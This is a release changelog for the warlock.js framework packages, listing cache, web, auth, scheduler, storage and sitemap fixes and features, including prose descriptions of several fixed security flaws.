Generator matrix: selected rows ran against the staged candidate — baseline, scheduler, postgres, redis, web, sitemap, socket.

@warlock.js/cache Added 4 Fixed 25

Added Atomic increment/decrement, pull and update, with a per-driver guarantee:
Added Tag index primitives on the driver contract: tagAdd, tagMembers, tagRemove. Redis uses a native SET inside the prefix (a legacy JSON index is upgraded on first touch), Postgres a one-statement JSON-array merge on the index row, and the in-memory drivers a separate store that eviction and expiry never touch. file and null keep the serialized fallback. invalidate() deletes exactly the members it read, writes prune up to 20 dead members, remove()/pull() detach the key, and tagged increment/pull use the atomic ops.
Added PgCacheDriver.prune(limit = 1000) deletes expired rows in batches and returns the count. set() also runs it in the background on about 1 in 200 writes, so unique-key workloads no longer grow the table forever.
Added lock() successor-safe release (see Fixed). There is no renewal, so the TTL must exceed the worst-case duration of the locked work.
Fixed lock() no longer deletes a successor's lock after its own TTL expired. Release is an ownership-checked compare-and-delete (atomic on the memory, Redis and Postgres drivers), so a slow holder can't free a lock that another caller has since acquired.
Fixed A failing lock release (for example a Redis blip) no longer replaces fn's result or error. It is logged, so callers no longer retry a job that had already succeeded.
Fixed Two concurrent lock() calls in one process could both acquire the lock on the memory, mock and file drivers. onConflict: "create" is now a synchronous check-and-insert on memory and an exclusive create on file.
Fixed Redis flush() without a prefix no longer wipes every database on the server (queues, sessions, other apps).
Fixed Redis removeNamespace("users") also deleted users2.* and usersettings.*, and flushing tenant app also deleted app2.* and apple.*. It now matches ns and ns.* only, in batched UNLINK calls rather than one giant DEL.
Fixed Redis 5 scanIterator() batches keys per cursor response. removeNamespace() now flattens those batches before deleting them, while retaining compatibility with older clients that yield one key at a time.
Fixed Redis SWR metadata now lives inside the namespace, so flush() clears it, and a plain set clears it, so a stale staleAt no longer poisons later reads.
Fixed A failed Redis connect() is rethrown and can be retried; it used to be logged, swallowed and never retried.
Fixed increment()/decrement() dropped the key's TTL on non-Redis drivers, so rate-limit counters could become permanent and block an IP forever. The remaining TTL is now kept.
Fixed pull() could hand a one-time token to two concurrent requests, and update() lost increments across servers (the login throttle and AI budget counters were looser by N×). Both are atomic where the driver allows; see Added.
Fixed remember() recomputed on every call for 0, false and "". Only null is a miss now.
Fixed remember, swr and update shared one in-flight map: remember() could return an SWR refresh's undefined, and a remember() could break an update() chain. Each now has its own map. swr() also single-flights a cold miss.
Fixed With the null driver, remember("user.1") and remember("user.2") ran concurrently and returned user 1's data for user 2. The null driver keeps real keys now.
Fixed cached().invalidate() ignored config.driver and left stale data on the custom driver. Auto-keys no longer fold punctuation, so profile("1.private", "") and profile("1", "private"), or { q: "x" } and ("q", "x"), no longer share an entry (request-controlled args could reach another caller's cache entry).
Fixed Memory maxSize counted top-level namespaces, so dotted keys cascaded evictions that wiped the whole cache, and with a globalPrefix it never evicted at all. It counts entries now, in LRU order.
Fixed The memory sweep scanned every key every second, and a stale timer record could delete a newer permanent value. Only finite-TTL entries are swept.
Fixed The memory, LRU and mock drivers stored objects by reference, so a caller mutating a value corrupted the cache. Values are cloned on write.
Fixed memoryExtended slid expiresAt before checking expiry, so expired entries came back and failed lock() attempts extended the holder's lock forever. Expiry is checked first.
Fixed File driver: writes are atomic (temp file + rename), and a corrupt or half-written file is a miss instead of deleting the key directory (a reader used to delete the entry being written). An empty key is rejected; it used to resolve to the cache root, so remove() wiped the whole cache directory.
Fixed cache.list().trim(start, -1) emptied the list, so trim(-50, -1) ("keep the last 50") deleted everything. trim is LTRIM-inclusive now, and list operations keep the key's TTL.
Fixed ScopedCache.update()/merge() reset a session's remaining TTL on every call. They keep it.
Fixed Concurrent first use of a driver created duplicate clients and leaked sockets. The manager runs a single in-flight load per driver, and disconnect() closes every loaded driver, not only the current one (shutdown used to hang or leak).
Fixed Postgres set expires_at from the app clock but compared against the DB now(), so clock skew shifted TTLs and locks could be born expired. Expiry is computed on the DB clock.
Fixed Lazy expiry deleted prefix.prefix.key when a globalPrefix was set, so expired entries lingered. It re-parsed the key and didn't await the delete.
Fixed Concurrent tagged writes dropped keys from the tag index, so tags().invalidate() left stale entries, and the index grew forever. The index is now a set primitive that is never lost and is pruned, and LRU capacity or memory maxSize can no longer evict it.

@warlock.js/web Added 3 Changed 1

Added Development and production publish generated page and named-API route declarations to .warlock/typings/web-routes.d.ts. href, Link, client navigation, and useSubmitForm use those declarations when present while retaining runtime validation before they have been generated.
Added Public PageLoaderContext, LayoutLoaderContext, AppLoaderContext, and WebConfigurations type exports.
Added Managed sitemaps: durable generation manifests, optional shared storage, model-driven invalidation after a Cascade transaction commits, conditional HTTP responses, and immutable generation shard URLs. Requests serve the last published generation and never generate an XML document themselves.
Changed Refined grouped skill discovery guidance for routes, loaders, form submission, and sitemap generation.

@warlock.js/sitemap Added 2 Changed 1

Added SitemapEntry.images emits the Google image sitemap extension, validates absolute HTTP(S) image URLs, and limits each URL to 1,000 images with a caller-visible diagnostic.
Added SitemapIndexOptions.shardPathPrefix controls public shard links in an index without changing the files written by saveTo().
Changed Refined grouped skill discovery guidance and regenerated package llms projections.

@warlock.js/core Added 7 Changed 2 Fixed 1

Added Production build contributions receive a fresh registration-only ConnectorBuildContext.namedApiRoutes snapshot when Web is configured. It contains only named API name, path, and method records, never handlers, middleware, schemas, or source paths.
Added storage.putIfAbsent(file, location, options?) and storage.supportsPutIfAbsent() — an atomic create-only write. Returns the StorageFile, or null when something already exists at location. Unlike put, a string argument is content, not a path. Local driver writes a temp file then hard-links it; S3/R2 send If-None-Match: *. DigitalOcean Spaces does not expose it. Drivers without it throw StorageCapabilityError.
Added http.rateLimit now passes @fastify/rate-limit options through (redis for a store shared across servers, nameSpace, keyGenerator, allowList, ...). http.rateLimit.enabled: false turns the global limiter off. The per-route middleware.rateLimit() stays in-process.
Added socket.adapter — an adapter factory (e.g. @socket.io/redis-adapter) applied via io.adapter() for broadcasting across servers. Polling clients need sticky sessions.
Added Production single-server warnings, once at boot, when the default cache driver is in-memory, the default storage driver is local, or sockets have no socket.adapter. Silence with cache.silenceSingleServerWarning, storage.silenceSingleServerWarning, socket.silenceSingleServerWarning.
Added middleware.idempotency({ reservationTtl }) (also http.idempotency.reservationTtl, default 60 seconds) — how long the in-flight reservation lives.
Added Docs: "Running on multiple servers" guide.
Changed Refined connector build guidance and grouped skill discovery.
Changed middleware.idempotency() reserves the key (create-only) before the handler runs. A concurrent duplicate now gets 409 + Retry-After instead of running twice. A 5xx response frees the key so the client can retry. If the cache is down the middleware fails open.
Fixed The repository cache is also cleared after the DB transaction commits (cascade afterCommit), fixing stale reads when a concurrent read re-cached the old row between the model event and COMMIT.

create-warlock Changed 2

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.
Changed Web starter loaders use named functions and public loader-context types while retaining inferred return types in paired setup modules.

@warlock.js/access Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-anthropic Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-bedrock Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-deepseek Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-google Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-groq Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-live Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-mistral Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-ollama Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-openai Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-panoptic Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-tools Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-workspace Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/ai-xai Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/auth Changed 1

Changed loginThrottleMiddleware now counts failures with an atomic cache.increment. The first failure opens the window with a create-only cache.set carrying the TTL, so counts are exact across servers on the redis/pg cache drivers (concurrent failures are no longer lost to a read-modify-write). Thresholds, window and lockout behaviour are unchanged. The memory cache driver is per-process, so counts there are per-process too.

@warlock.js/cascade Added 1

Added afterCommit(fn) — run a side effect only once the transaction has committed. Inside a transaction, fn is queued and runs after the outermost COMMIT (in order, awaited one by one); it is discarded on rollback or a failed COMMIT. Outside a transaction, it runs on the next microtask. Errors are logged and never change the transaction result. Use it in model event listeners (saved, created, ...) for cache clears, sitemap regeneration and emails.

@warlock.js/context Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/fs Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/herald Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/logger Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/notifications Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/queue Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

@warlock.js/scheduler Added 1

Added job.onOneServer({ lockTtl?, key? }) — run each tick on exactly one server. Every server races for a create-only, TTL-bounded cache claim keyed scheduler.<key ?? name>.<scheduledTickEpochMs>. The claim is never released, so exactly one server runs each tick even if another server's timer fires late. Losers skip the tick and emit job:skip. Requires a shared cache driver (redis/pg) and a job name or key. @warlock.js/cache is an optional peer dependency. Default claim TTL is min(interval, 1h) with a 60s floor (1h for cron jobs).

@warlock.js/seal Changed 1

Changed Added a package-level skill index and clearer discovery descriptions for grouped agent guidance.

5.19.1

September 24, 2026

@warlock.js/web fixes paired setup-module register projection in development SSR while preserving server-only setup exports. create-warlock now prompts API and full-stack presets for a database choice and supports an explicit AI opt-out. Lockstep release across all 30 packages. Generator matrix scope: none.

Generator matrix: not run for this release.

@warlock.js/web Fixed 1

Fixed Development SSR retains the framework-projected register() hook for a paired setup module when the UI references its loader only with import type, without exposing server-only setup exports or requiring a UI value import.

create-warlock Changed 1

Changed The default interactive scaffold flow now asks for a database after the API-only/full-stack choice unless --db or --no-db already answered it; the same selector includes None for a database-free app. Customize's AI multiselect now offers None last, treats it alone like an empty selection, and asks again when it is combined with an AI provider or capability.

@warlock.js/core Changed 1

Changed Lockstep patch release aligning @warlock.js/core with the 5.19.1 family; no Core runtime API change.

@warlock.js/seal Fixed 1

Fixed Corrected the Cascade and Core links in the overview skill.

5.19.0

September 23, 2026

@warlock.js/auth makes refresh/logout token families durable across concurrent requests; @warlock.js/web adds optional paired setup modules and useSubmitForm() for named API routes. Core exposes named API metadata, skills document the new supported flows, and Create Warlock approves only the selected image feature's Sharp native build while reporting JWT generation skipped after a failed install. Lockstep release across all 30 packages. Generator matrix scope: none.

Generator matrix: not run for this release.

@warlock.js/auth Added 3 Changed 1 Fixed 2

Added authMiddleware() now uses auth.defaultUserType (or the sole configured user type), and the object overload accepts { source, key, optional, refresh, redirect }. A page-local redirect changes only page-route authentication failures; APIs retain 401. Legacy authMiddleware(userType, "header" | "cookie:name") calls remain supported.
Added Durable token families: token pairs associate access and refresh rows with AuthTokenFamily; family revoke atomically stamps the family, revokes its refresh rows, and removes its associated access rows. During the additive upgrade, unassociated legacy access rows are revoked conservatively only for the same user and type. Register authMigrations and run pending migrations.
Added Automatic cookie renewal is opt-in through the middleware refresh descriptor. The finalized coordinator permits only an exact, immediately active successor pair during a bounded duplicate window (default five seconds; configurable from zero through ten seconds). It does not broaden legacy authService.refreshTokens replay behavior. A duplicate within that window is tolerated deliberately; after it, old-token reuse remains a replay and revokes the family. Family logout makes late cookies unusable. This does not claim to solve arbitrary out-of-order HTTP cookie delivery.
Changed Refined package skill-discovery descriptions and regenerated the llms projections.
Fixed Refresh attempts emit token notifications after their owned transaction commits, discarding notifications from rolled-back retries.
Fixed Issuing into an explicitly reused token family now shares its durable revocation boundary, preventing credentials from being written after concurrent logout.

@warlock.js/web Added 2 Changed 1

Added Optional paired *.setup.ts modules for pages, layouts, root, and the error boundary. Server setup composes with the UI component, projects safe register() behavior to both runtimes, preserves type-only loader inference, rejects duplicate exports, and is watched during development.
Added useSubmitForm from the optional @warlock.js/web/form entry submits an existing @mongez/react-form through the configured HTTP singleton or an injected client. It resolves named API route metadata before hydration, supports direct paths, FormData, cancellation, lifecycle callbacks, and validation-error mapping without exposing server handlers or policy.
Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/core Added 1 Changed 1

Added router.getNamedApiRoutes() returns fresh frozen browser-safe snapshots of registered named API routes (name, path, method). It excludes pages, handlers, middleware, schemas, and source paths; all remains visible as metadata so a browser consumer can require an explicit request method.
Changed Refined package skill-discovery descriptions and regenerated the llms projections.

create-warlock Changed 3

Changed Refined package skill-discovery descriptions and regenerated the llms projections.
Changed The default Web starter now keeps root, page, and not-found server exports in paired *.setup.ts modules. Components remain presentation-only and import the home loader type-only, while the setup module retains the universal localization register() projection.
Changed PNPM image scaffolds approve only Sharp's required native build in the generated pnpm-workspace.yaml before installing the selected feature. An existing explicit denial is preserved. If selected feature dependencies fail to install, JWT generation is reported as skipped instead of retrying through the package manager.

@warlock.js/access Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-anthropic Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-bedrock Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-deepseek Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-google Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-groq Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-live Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-mistral Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-ollama Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-openai Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-panoptic Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-tools Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-workspace Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/ai-xai Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/cache Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/cascade Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/context Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/fs Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/herald Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/logger Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/notifications Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/queue Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/scheduler Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/seal Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

@warlock.js/sitemap Changed 1

Changed Refined package skill-discovery descriptions and regenerated the llms projections.

5.18.0

September 23, 2026

@warlock.js/web adds shared root/layout/page metadata with consistent SSR and client-navigation titles, plus useIsNavigating() for router-owned pending state. Development SSR reuses Core-owned models and their reload/removal notifications; initial sitemap generation now waits for database initialization so warlock doctor remains registration-only. Lockstep release across all 30 packages. Generator matrix scope: none; required release checks completed.

Generator matrix: not run for this release.

@warlock.js/web Added 2 Fixed 2

Added Pages, layouts, and root.tsx now share typed static or server-only callback metadata. Titles accept a string, { default?, template? }, or { absolute }; resolution produces the same string title for SSR and client navigation while composing metadata from page through layouts to root.
Added useIsNavigating() exposes router-owned pending state for client navigation, refreshes, and locale changes. It is safe during SSR and replaces event-based guesses for reactive loading indicators.
Fixed Development SSR reuses models already loaded by Core, including their named and default exports. Core reload and removal notifications invalidate the corresponding SSR modules while client import checks remain in place.
Fixed Initial sitemap generation now runs during connector startup, after database initialization. Registration-only commands such as warlock doctor register sitemap routes without invoking suppliers that require a database connection.

@warlock.js/core Fixed 1

Fixed Development model loading now shares model ownership and reload notifications with Web's SSR adapter, allowing pages to reuse the same model constructors as Core instead of registering a second copy.

5.17.1

September 22, 2026

@warlock.js/core now completes initial typings generation before background health checking and preserves configured declaration roots; @warlock.js/web fixes development page projection with binding-aware import liveness. Public APIs are unchanged. Lockstep release across all 30 packages. Generator matrix scope: none; additional release tests were waived by the owner.

Generator matrix: not run for this release.

@warlock.js/core Fixed 3

Fixed @warlock.js/web fixes page projection to resolve import references by lexical binding after server configuration is removed. A component-local t = useTrans() no longer retains an unrelated metadata-only Core import in the client view.
Fixed Development startup now completes initial typings generation before it starts health checking, so the checker receives the generated declaration roots. Health checking remains background work and does not delay connector readiness.
Fixed The health checker preserves declaration roots already included by the project's tsconfig.

@warlock.js/web Fixed 1

Fixed Page projection now resolves import references by lexical binding after removing server configuration. A component-local variable such as const t = useTrans() no longer keeps an unrelated metadata-only Core import in the client view and causes development rendering to fail; genuine runtime references remain intact.

5.17.0

September 22, 2026

@warlock.js/web moves page, layout, and root server policy into one direct config export (BREAKING): PageConfig, LayoutConfig, and RootConfig keep route/cache/prefix/strict-mode policy together while loaders, registration, named error boundaries, and components remain separate. Web adds route-scoped locales.json translations, typed keys, useChangeLocaleCode(), and locale-aware navigation, sitemap, and robots behavior; new scaffolds enable root strictMode. @warlock.js/core and Web require @mongez/localization 3.5.0 for scoped translation lookup. Lockstep release across all 30 packages. Generator matrix ran subset scope (web, sitemap rows); Hasan authorised the release on 2026-09-21: "Go with your rec".

Generator matrix: selected rows ran against the staged candidate — web, sitemap.

@warlock.js/web Fixed 24 Security 2

Fixed Locale switches under the default URL strategy use a provisional data request: a failed or superseded navigation cannot persist its locale, including on page-cache hits. The successful current navigation commits a host-only locale preference with its tree. Invalid preferences fall through to the legacy locale cookie and normal locale resolution; an explicit response.setLocale() clears the preference before setting its authoritative cookie.
Fixed Page-cache keys include the route translation snapshot revision. If a request's final locale snapshot differs from the one used for lookup, the response is not stored under the earlier key.
Fixed A client disconnecting mid-stream no longer logs an SSR render error or reaches web.errors.report(). The stream now aborts with a recognisable reason instead of none, so it stops being mistaken for a genuine render failure.
Fixed changeLocaleCode() now corrects document.documentElement's lang/dir itself, synchronously, before its returned promise resolves — under an active web.localeRouting.strategy (the pushState path) as well as the ?locale= path. Before, only NavigationRoot's own effect did this correction, on React's next commit, which runs after changeLocaleCode() had already resolved; a caller reading document.documentElement right after await changeLocaleCode("ar") could still see the stale locale's lang/dir.
Fixed robots.txt now covers every locale-prefixed URL under an active web.localeRouting.strategy. Before, a rule such as Disallow: /admin left /ar/admin crawlable, because only the bare path was written. Every allow/disallow rule that starts with / — other than bare /, and never a rule containing * or $ — now also emits its prefixed variant for each prefixed locale code, deduped, next to the original. Strategy "none" (the default) is unchanged.
Fixed The pageAuth login redirect now carries the request's locale prefix under an active web.localeRouting.strategy. Before, an anonymous request to /ar/admin redirected to /login?returnUrl=%2Far%2Fadmin — returnUrl correctly pointed back at the locale-prefixed page, but the login screen itself dropped the locale. It now redirects to /ar/login?returnUrl=%2Far%2Fadmin. Left unchanged when auth.pageAuth.loginPath is absolute or already locale-prefixed. (@warlock.js/auth; see its own changelog.)
Fixed Page-cache invalidation now always reaches the stored pages. Entries and their tag index used to go through your app's cache globalPrefix. Apps that derived it from the request (the scaffold used Origin) stored pages on GET under one prefix and invalidated them on POST under another, so nothing was evicted. The page cache now uses its own warlock.page.<deployment> namespace, with the Host still part of every key. Invalidation from a background job, with no request, works too.
Fixed A page loader that returns notFound() now renders your 404.page.tsx, with status 404 and noindex, instead of an empty body. Client navigation to such a URL gets the same page.
Fixed A page or layout middleware that already sent its reply (a redirect, pageAuth, forbidden()) is no longer sent a second time. Before, every guarded redirect logged a false "already-sent" error.
Fixed changeLocaleCode() and client navigation install the translations that come with the page data. Before, any translation group registered only on the server (every app's auth and validation messages) made the switch abort in development and render raw keys in production.
Fixed @warlock.js/web/sitemap: corrected the 5.16.0 entry below — warlock build never generates the sitemap. When web.sitemap is enabled, generation happens at runtime boot (web.sitemap.regenerate.onBoot) or when the app calls regenerateSitemap(), never at build time.
Fixed A detected crawler's inlined deferred value reached use() as a raw value instead of a promise, so every page reading it threw "An unsupported type was passed to use()" and crawlers got skeletons instead of content. Inline mode now passes an already-fulfilled thenable that use() reads synchronously; the key still stays in the hydration payload with its __WARLOCK_DEFER__ settlement chunk for JS-capable crawlers. The data-request wire is unaffected. Corrected the 5.12.0 web.streaming.crawlers entry below, which claimed crawlers get the resolved document _instead of_ deferred chunks — the settlement scripts are retained for JS hydration; only non-JS indexing needs nothing beyond the inlined HTML.
Fixed Crawler documents no longer carry a pending Suspense boundary for deferred sections far down a long page. React outlines a completed boundary (fallback in the HTML, content in a hidden segment swapped in by script) once the page passes about 12.8 KB. Renders that wait for everything to be ready now inline every completed boundary, so non-JS indexers see the content.
Fixed Authenticated requests never get a public Cache-Control. A request that used authenticated state (including through authMiddleware on a page or layout) is sent private, no-store, even on a route that opted into config.cache.public.
Fixed In production, the :value placeholder in a page-validation issue message now renders … instead of the submitted value, in your translations and in author errorMessage templates alike. Before, a translation such as the starter's enum message ("given value :value") put the raw query or param value into the error page and the hydration payload. A custom rule that concatenates raw input into its own message text, without :value, is not covered and stays your responsibility.
Fixed In production, the sitemap is built from the page manifest. Before, a production build could generate it without the pages' own sitemap exports.
Fixed A page's sitemap export is stripped from the client bundle in every named-export form, including re-exports (export { x as sitemap } from "…", export { sitemap } from "…"). A bare export * from in a page module is refused with a clear error, because its export set can't be checked.
Fixed Page validation may declare only params or only query. Before, a page that declared one of them failed every request with unknownKeys. Validation now also runs after the app and layout loaders and before the page loader. A layout redirect still wins, and a validation 400 renders your error page inside layouts that received their data.
Fixed In production, a page validation 400 gives error.page.tsx a clear message and error.errors as { input, type, error } entries. In production, the :value placeholder in page-validation messages renders … instead of the submitted value. A custom rule or translation that builds its message from raw input without :value isn't covered, so keep submitted values out of custom message text. Other unexpected errors keep the generic message and errorCode.
Fixed Locale URL routing (web.localeRouting.strategy) now actually reaches the browser in a production build. Before, the browser only ever learned the routing strategy from virtual:warlock/pages, resolved at BUILD time — wrong whenever the app config wasn't loaded at build time, or differs per environment — so a production bundle could hydrate with { strategy: "none" } while the server was actively locale-routing, silently disabling <Link> prefixing and changeLocaleCode(). The server document now carries the runtime routing table it actually resolved, as a <meta name="warlock-locale-routing"> tag rendered by <Head/>; the hydration entry reads it before mount and falls back to the build-time value only when the meta is absent or malformed.
Fixed A client (link-click) navigation to a cache: { serverCache: true } route whose loader calls defer() no longer throws "An unsupported type was passed to use()" (minified React error #438), with the page's deferred sections (e.g. "Read next", comments) never rendering. A serverCache route's JSON data representation never streams — the deferred value is awaited and put on the wire already resolved — but the page component still reads it with use(), unconditionally. The wire now keeps marking that key deferred even though its value is inlined, on both the MISS that stores the entry and every HIT that replays it, and the client wraps the resolved value in an already-fulfilled thenable before handing it to the page — the same tracked shape use() reads synchronously that the crawler inline-mode fix (above) introduced for the document. The NDJSON streaming representation is unchanged.
Fixed The client-side scroll-position map (and its sessionStorage mirror) no longer grows without bound for the life of a tab. Both are now capped at 50 entries with LRU eviction — a save or a restore touches an entry, making it most-recently-used — so a long-lived SPA session (a dashboard or admin tool left open across many client navigations over hours/days) can no longer grow the map, or the JSON blob re-serialized to sessionStorage on every navigation, without limit. An old, uncapped sessionStorage value still reads back fine and is trimmed down to the cap on the next save.
Fixed A core @warlock.js/core HttpError (ResourceNotFoundError, ForbiddenError, BadRequestError, ConflictError, …) thrown in a loader now resolves to its own status instead of a generic 500: a resolved 404 renders your 404.page.tsx exactly like a loader's own notFound(), and any other 4xx renders error.page.tsx with that status and its real message, without reaching web.errors.report(). A resolved 5xx still gets the generic production message and is still reported.
Fixed invalidatePageCache() in warlock dev now actually evicts the page it targets. In dev, @warlock.js/web loads as two separate module graphs — tsx/Node for HTTP routes and installers, Vite's SSR module runner for the page/layout render path — each with its own module registry, so the page cache's memoized driver instance used to be two different in-memory stores: a route's invalidatePageCache(["post:1"]) evicted the tsx graph's store while the renderer kept reading its own, still-populated one, and the page stayed a HIT until its ttl/maxAge expired. The resolved store/driver instance, and the memoized @warlock.js/cache import and its one-time in-process-driver warning, now live on a Symbol.for("warlock.web.pageCache...") globalThis slot, the same pattern route-table.ts already uses for href(), so every graph resolves the SAME instance. Production, which runs one module graph, is unaffected.
Security The server-side page cache's pre-lookup bypass previously only recognized an Authorization header or the cookie named by auth.cookie.name (default access_token). An app whose session cookie used a different name (e.g. token) could have a signed-in visitor's render STORED, and the next anonymous visitor's request HIT it, receiving the signed-in visitor's data. Any request whose Cookie header carries a cookie other than the framework locale cookie or a validated locale-preference cookie now bypasses cache lookup and is never stored, regardless of auth.cookie.name. The same rule forces Cache-Control: private, no-store on a config.cache.public route that has no serverCache, where it previously could be public. A malformed or empty Cookie header (Cookie: , Cookie: ;;;, Cookie: garbage-no-equals) fails closed the same way. Purge any page-cache and CDN entries stored by an earlier version after upgrading — see Upgrading, above.
Security React's own inline scripts — the $RC/$RS boundary-reveal/segment scripts Fizz streams to swap a completed Suspense boundary's placeholder into place — now carry the request's CSP nonce, on every render path that can stream (the ordinary flush-early path, the crawler/waitForAll path, and error-document escalation). Before, an app with http.csp.enabled and a streaming or defer()-ing page had these scripts blocked under a strict script-src 'nonce-...' policy (no 'unsafe-inline'), leaving the deferred section's fallback on screen forever instead of being swapped for the real content.

@warlock.js/core Added 4 Fixed 5 Security 2

Added Standalone warlock generate.typings includes route locales.json keys, honoring $group and existing literal translation registrations. The optional Web build helper is resolved from the application's installed package using ESM export conditions, without executing application configuration or the Web root entry.
Added uploadedFileController, a ready-made handler for router.get("/uploads/*", uploadedFileController) that serves local uploads safely. The request path must resolve inside the storage root, symlinks included, and never into the variant cache. Anything else gets the same 404 as a missing file, so the route cannot be used to probe for files. Originals are sent with a one-year cache.
Added generateImageVariants(relativePath, options?), an opt-in ingest-time counterpart to uploadedFileController: call it right after an upload is saved to render every configured uploads.images variant (optionally options.variants to limit which ones) up front. It shares the route's normalized config, cache key and derivative path, so GET /uploads/<path>?variant=<name> is served from cache on its first request, and its source guards and error statuses match the route. It returns a plain, serializable descriptor ({ src, width, height, variants, formats? }) matching web's ImageDescriptor.
Added Bounded on-demand image variants, configured under uploads.images: ?variant=<name> renders a variant named in uploads.images.variants (width and height from 1 to 8192, quality from 1 to 100, fit of cover, contain or inside), and &format= picks an output format from the formats allowlist (webp, avif). Any other query key, a repeated key, an unknown variant or a format that is not allowed returns 400. Only jpeg, png, webp and avif sources are resized, detected by their magic bytes, never their extension. gif and svg return 415. maxSourceBytes (default 25 MB) and maxSourcePixels (default 40,000,000) cap the source, and a larger one returns 413. Each derivative is cached on disk under a sha256 of the source path, size, mtime, variant and format, and it is written atomically. Concurrent requests for the same derivative generate it once. It is served with Cache-Control: public, max-age=31536000, immutable and an ETag that answers 304. Rewriting the source changes the key, so the next request renders a new derivative. An invalid uploads.images config throws ImageVariantsConfigError the first time a variant is requested. The variant path needs sharp, but originals are served without it.
Fixed Request translation helpers follow the request's current locale; Web can supply its immutable route-scoped resolver for request.t(), request.trans(), and explicit request.transFrom(locale, key, placeholders?). Without that resolver, all retain their global-registry behavior.
Fixed Locale preference resolution validates the host-only preference before falling through to the legacy cookie, header, and default. response.setLocale() clears the preference before writing its authoritative locale cookie. Provisional Web navigation requests do not persist a locale before the browser commits a successful current navigation.
Fixed Image variants (uploadedFileController and generateImageVariants) no longer enlarge a source smaller than the variant's target width or height. A variant is now rendered with sharp's withoutEnlargement: true by default, so a 100px source requested at { width: 320 } stays 100px wide instead of being upscaled. Opt in per variant with enlarge: true in ImageVariantDefinition (a non-boolean value throws ImageVariantsConfigError); the effective flag is part of the normalized variant and its cache key, so flipping it regenerates the derivative. generateImageVariants' descriptor now reports the actual rendered width and height, read from the derivative it wrote, not the requested size.
Fixed generateImageVariants now throws ImageVariantsConfigError — not a plain Error (no storage root) or HttpError(400) (uploads.images not configured) — for both server misconfiguration states, matching how a bad uploads.images value is already reported; input-derived failures (traversal, missing file, bad format, size limits, unknown variant name) still throw HttpError. uploadedFileController's own responses for these requests are unchanged.
Fixed warlock seed (and warlock migrate, for data migrations) now preload the storage connector, and Storage/ScopedStorage throw a named StorageNotInitializedError — pointing at src/config/storage.ts and a custom command's preload.connectors — instead of a bare TypeError: Cannot read properties of null (reading 'name') when activeDriver is read before storage has been initialized in the process.
